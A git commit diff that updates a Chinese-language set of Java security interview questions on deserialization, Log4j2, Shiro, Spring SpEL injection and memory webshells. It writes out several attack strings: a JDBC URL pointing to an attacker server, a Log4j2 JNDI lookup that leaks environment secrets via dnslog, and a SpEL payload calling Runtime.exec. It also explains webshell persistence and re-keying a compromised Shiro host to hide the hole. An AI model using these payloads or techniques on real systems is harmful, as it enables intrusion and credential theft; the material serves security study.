update

4ra1n · 4ra1n · commit b44f5d87269b · 2022-02-16T10:03:07.000+08:00
diff --git a/README.md b/README.md
@@ -18,17 +18,17 @@
 
 ## 分类
 
-当前问题总数：62
+当前问题总数：67
 
-[Java本身的安全问题 - 15个](https://github.com/4ra1n/JavaSecInterview/tree/master/java)
+[Java本身的安全问题 - 16个](https://github.com/4ra1n/JavaSecInterview/tree/master/java)
 
 [Shiro框架相关的安全问题 - 8个](https://github.com/4ra1n/JavaSecInterview/tree/master/shiro)
 
 [Fastjson组件相关的安全问题 - 12个](https://github.com/4ra1n/JavaSecInterview/tree/master/fastjson)
 
 [Log4j2组件相关的安全问题 - 7个](https://github.com/4ra1n/JavaSecInterview/tree/master/log4j2)
 
-[Spring框架相关的安全问题 - 12个](https://github.com/4ra1n/JavaSecInterview/tree/master/spring)
+[Spring框架相关的安全问题 - 16个](https://github.com/4ra1n/JavaSecInterview/tree/master/spring)
 
 [内存马专题 - 8个](https://github.com/4ra1n/JavaSecInterview/tree/master/memshell)
 
diff --git a/java/README.md b/java/README.md
@@ -182,7 +182,7 @@ LinkedHashSet.readObject()
 
 - 谈谈8U20反序列化（★★★★★）
 
-这是7U21修复的绕过（作者对该问题了解较浅，面试没有被问到过）
+这是7U21修复的绕过
 
 在`AnnotationInvocationHandler`反序列化调用`readObject`方法中，对当前`type`进行了判断。之前POC中的`Templates`类型会导致抛出异常无法继续。使用`BeanContextSupport`绕过，在它的`readObject`方法中调用`readChildren`方法，其中有`try-catch`但没有抛出异常而是`continue`继续
 
@@ -222,4 +222,20 @@ Y4er师傅提到的自定义类加载器配合RMI的一种方式
 
 原理类似`linux`的通杀回显，在`windows`中`nio/bio`中有类似于`linux`文件描述符这样的句柄文件
 
-遍历`fd`反射创建对应的文件描述符，利用`sun.nio.ch.Net#remoteAddress`确认文件描述符有效性，然后往里面写数据实现回显
+遍历`fd`反射创建对应的文件描述符，利用`sun.nio.ch.Net#remoteAddress`确认文件描述符有效性，然后往里面写数据实现回显
+
+
+
+- 是否了解JDBC Connection URL攻击
+
+果我们可以控制`JDBC URI`就可将`JDBC`连接地址指向攻击者事先准备好的恶意服务器，这个服务器可以返回恶意的序列化数据
+
+指定`autoDeserialize`参数为`true`后`MySQL`客户端就可以自动反序列化恶意Payload
+
+使用`ServerStatusDiffInterceptor`触发客户端和服务端的交互和反序列化
+
+```text
+jdbc:mysql://attacker/db?queryInterceptors=com.mysql.cj.jdbc.interceptors.ServerStatusDiffInterceptor&autoDeserialize=true
+```
+
+以上是基本攻击手段，还有一些进阶的内容，例如`allowUrlInLocalInfile`和`detectCustomCollations`参数
diff --git a/log4j2/README.md b/log4j2/README.md
@@ -8,15 +8,15 @@
 
 - 知道Log4j2 2.15.0 RC1修复的绕过吗（★★★）
 
-修复内容限制了协议和HOST以及类型，其中类型这个东西其实没用，协议的限制中包含了`LDAP`等于没限制。重点在于HOST的限制，只允许本地localhost和127.0.0.1等IP。但这里出现的问题是，加入了限制但没有捕获异常，如果产生异常会继续`lookup`所以如果在URL中加入一些特殊字符，例如空格，即可导致异常然后RCE
+修复内容限制了协议和HOST以及类型，其中类型这个东西其实没用，协议的限制中包含了`LDAP`等于没限制。重点在于HOST的限制，只允许本地localhost和127.0.0.1等IP。但这里出现的问题是，加入了限制但没有捕获异常，如果产生异常会继续`lookup`所以如果在URL中加入一些特殊字符，例如空格，即可导致异常绕过HOSOT限制，然后`lookup`触发RCE
 
 
 
 - Log4j2的两个DOS CVE了解吗（★★）
 
 其中一个DOS是`lookup`本身延迟等待和允许多个标签`${}`导致的问题
 
-另一个DOS是嵌套标签`${}`导致栈溢出
+另一个DOS是嵌套标签`${}`递归解析导致栈溢出
 
 
 
@@ -40,7 +40,7 @@
 
 利用其他的`lookup`可以做信息泄露例如`${env:USER}`和`${env:AWS_SECRET_ACCESS_KEY}`
 
-在`SpringBoot`情况下可以使用`bundle:application`获得数据库密码等敏感信息
+在`SpringBoot`情况下可以使用`bundle:application`获得数据库密码等敏感信息，不过`SpringBoot`默认不使用`log4j2`
 
 这些敏感信息可以利用`dnslog`外带`${jndi:ldap://${java:version}.xxx.dnslog.cn}`
 
@@ -50,5 +50,4 @@
 
 利用JavaAgent改JVM中的字节码，可以直接删了`JndiLookup`的功能
 
-有公众号提出类似`Shiro`改`Key`的思路，利用反射把`JndiLookup`删了也是一种办法
-
+有公众号提出类似`Shiro`改`Key`的思路，利用反射把`JndiLookup`删了也是一种办法
diff --git a/memshell/README.md b/memshell/README.md
@@ -2,10 +2,12 @@
 
 - Tomcat和Spring内存马分别有哪些（★）
 
-Tomcat内存马有：Filter型，Servlet型，Listener型，Java Agent型
+Tomcat内存马有：Filter型，Servlet型，Listener型
 
 Spring内存马有：Controller型，Interceptor型
 
+Java Agent内存马：这种方式不仅限于`Tomcat`或`Spring`
+
 
 
 - Servlet/Filter内存马查杀手段是怎样的（★★★）
@@ -20,17 +22,17 @@ Spring内存马有：Controller型，Interceptor型
 
 - Filter内存马查杀时候有什么明显特征吗（★★★）
 
-首先是类名可能是恶意的，或者报名和项目名不符，可以一眼看出
+首先是类名可能是恶意的，或者包名和项目名不符，可以一眼看出
 
-其次优先级肯定是第一位的，这由内存马的特性决定，重点关注第一个Filter
+其次优先级肯定是第一位的，这由内存马的特性决定，所以应该重点关注第一个Filter
 
 观察ClassLoader是否是不正常的，以及是否存在对应的Class文件
 
 
 
 - 如何实现无法删除的Servlet/Filter内存马（★★★★）
 
-有一种思路是再`destroy`方法中加入再注册内存马的代码，但并不是所有删除方式都会触发`destroy`方法
+有一种思路是在`destroy`方法中加入再注册内存马的代码，但并不是所有删除方式都会触发`destroy`方法
 
 所以另外的思路是跑一个不死线程，循环检测该内存马是否存在，以及注册的功能
 
@@ -40,26 +42,27 @@ Spring内存马有：Controller型，Interceptor型
 
 内存马持久化这个问题必须要往本地写文件
 
-一般来说可以往Tomcat里写字节码或者直接改写依赖的Jar，再`doFilter`等位置插入恶意字节码
-
-4ra1n师傅提到的修改Tomcat的Lib也是一种手段
+一般来说可以往Tomcat里写字节码或者直接改写依赖的Jar，在`doFilter`等位置插入恶意字节码
 
+4ra1n师傅提到的修改Tomcat的Lib也是一种手段，在默认开启的`WsFilter`中修改代码
 
 
-- 内存马持久化写字节码方式除了`@Filter`标签还有什么办法
 
+- 内存马持久化写字节码方式除了`@Filter`标签还有什么办法（★★★）
 使用`ServletContainerInitializer`用于在容器启动阶段注册三大组件，取代`web.xml`配置。其中`onStartup`方法会在`Tomcat`中间件重启加载当前`webapp`会优先执行这个方法。通过改方法，我们可以注册一个`webshell`的`filter`
 
 
 
 - Java Agent内存马的查杀（★★★）
 
-网上师傅提到用`sa-jdi.jar`工具来做，这是一个JVM性能检测工具，可以dump出JVM中所有的Class文件，尤其重点关注`HttpServletr.service`方法，这是Agent内存马常用的手段
+网上师傅提到用`sa-jdi.jar`工具来做，这是一个JVM性能检测工具，可以dump出JVM中可能有问题的Class文件，尤其重点关注`HttpServletr.service`方法，这是Agent内存马常用的手段
 
 
 
 - 如果有一个陌生的框架你如何挖内存马（★★★）
 
-核心是找到类似`Tomcat`和`Spring`中类似`Context`的对象，然后尝试从其中获取`request`和`response`对象以实现内存马的功能。可以从常见的类名称入手：Requst、ServletRequest、RequstGroup、RequestInfo、RequestGroupInfo等等。可以参考c0ny1师傅的`java-object-searcher`项目，半自动搜索`request`对象
+核心是找到类似`Tomcat`和`Spring`中的`Context`对象，然后尝试从其中获取`request`和`response`对象以实现内存马的功能。
 
+可以从常见的类名入手：Requst、ServletRequest、RequstGroup、RequestInfo、RequestGroupInfo等等
 
+可以参考c0ny1师傅的`java-object-searcher`项目，半自动搜索`request`对象
diff --git a/shiro/README.md b/shiro/README.md
@@ -8,7 +8,9 @@
 
 - Shiro反序列化怎么检测key（★★★）
 
-实例化一个`SimplePrincipalCollection`遍历key列表进行AES加密，然后加入到`Cookie`的`rememberMe`字段中发送，如果响应头的`Set-Cookie`字段包含`rememberMe=deleteMe`说明不是该密钥，如果什么都不返回，说明当前key是正确的key。实际中可能需要多次这样的请求来确认key
+实例化一个`SimplePrincipalCollection`并序列化，遍历key列表对该序列化数据进行AES加密，然后加入到`Cookie`的`rememberMe`字段中发送
+
+如果响应头的`Set-Cookie`字段包含`rememberMe=deleteMe`说明不是该密钥，如果什么都不返回，说明当前key是正确的key。实际中可能需要多次这样的请求来确认key
 
 
 
@@ -26,9 +28,9 @@
 
 - Shiro反序列化Gadget选择有什么坑吗（★★★）
 
-默认不包含CC链包含CB1链。用不同版本的CB1会导致出错，因为`serialVersionUID` 不一致
+默认不包含CC链包含CB1链。用不同版本的CB1会导致出错，因为`serialVersionUID`不一致
 
-另一个CB1的坑是`Comparator`来自于CC，需要使用如下的
+另一个CB1的坑是`Comparator`来自于CC，需要使用如下的才可以在没有CC依赖情况下成功RCE
 
 ```java
 BeanComparator comparator = new BeanComparator(null, String.CASE_INSENSITIVE_ORDER);
@@ -40,16 +42,18 @@ BeanComparator comparator = new BeanComparator(null, String.CASE_INSENSITIVE_ORD
 
 Shiro注内存马时候由于反序列化Payload过大会导致请求头过大报错
 
-解决办法有两种：第一种是反射修改Tomcat配置里的请求头限制熟悉，但这个不靠谱，不同版本`Tomcat`可能修改方式不一致。另外一种更为通用的手段是打过去一个`Loader`的`Payload`加载请求`Body`里的字节码，将内存马字节码写入请求`Body`中。这种方式的缺点是依赖当前请求对象，更进一步可以写文件`URLClassLoader`加载
+解决办法有两种：第一种是反射修改Tomcat配置里的请求头限制熟悉，但这个不靠谱，不同版本`Tomcat`可能修改方式不一致
+
+另外一种更为通用的手段是打过去一个`Loader`的`Payload`加载请求`Body`里的字节码，将内存马字节码写入请求`Body`中。这种方式的缺点是依赖当前请求对象，解决办法是可以写文件后`URLClassLoader`加载
 
 
 
-- 有什么办法让Shiro洞只能被你一人发现（★★）
+- 有什么办法让Shiro洞不被别人挖到（★★）
 
 发现Shiro洞后，改了其中的key为非通用key。通过已经存在的反序列化可以执行代码，反射改了`RememberMeManager`中的key即可。但这样会导致已登录用户失效，新用户不影响
 
 
 
 - Shiro的权限绕过问题了解吗（★★）
 
-主要是和Spring配合时候的问题，例如`/;/test/admin/page`问题，在`Tomcat`判断`/;test/admin/page` 为test应用下的`/admin/page`路由，进入到Shiro时被`;`截断被认作为`/`,再进入Spring时又被正确处理为test应用下的`/admin/page`路由，最后导致shiro的权限绕过。后一个修复绕过，是针对动态路由如`/admin/{name}`
+主要是和Spring配合时候的问题，例如`/;/test/admin/page`问题，在`Tomcat`判断`/;test/admin/page`为test应用下的`/admin/page`路由，进入到Shiro时被`;`截断被认作为`/`，再进入Spring时又被正确处理为test应用下的`/admin/page`路由，最后导致shiro的权限绕过。后一个修复绕过，是针对动态路由如`/admin/{name}`，原理同上
diff --git a/spring/README.md b/spring/README.md
@@ -6,6 +6,38 @@ Spring处理参数值出错时会将参数中`${}`中的内容当作`SPEL`解析
 
 
 
+- 谈谈Spring Data REST SPEL RCE（★★）
+
+当使用`JSON PATCH`对数据修改时，传入的`PATH`参数会解析`SPEL`
+
+
+
+- 谈谈Spring Web Flow SPEL RCE（★★）
+
+在`Model`的数据绑定上存在漏洞，但漏洞出发条件比较苛刻
+
+由于没有明确指定相关`Model`的具体属性，导致从表单可以提交恶意的表达式`SPEL`被执行
+
+
+
+- 谈谈Spring Messaging SPEL RCE（★★）
+
+其中的`STOMP`模块发送订阅命令时，支持选择器标头，该选择器充当基于内容路由的筛选器
+
+这个筛选器`selector`属性的值会解析`SPEL`导致RCE
+
+
+
+- 谈谈Spring Data Commons SPEL RCE（★★）
+
+请求参数中如何包含`SPEL`会被解析，参考下方Payload
+
+```text
+username[#this.getClass().forName("java.lang.Runtime").getRuntime().exec("calc.exe")]
+```
+
+
+
 - 谈谈SpringCloud SnameYAML RCE（★★★）
 
 该漏洞的利用条件是可出网，可以`POST`访问`/env`接口设置属性，且可以访问`/refresh`刷新配置
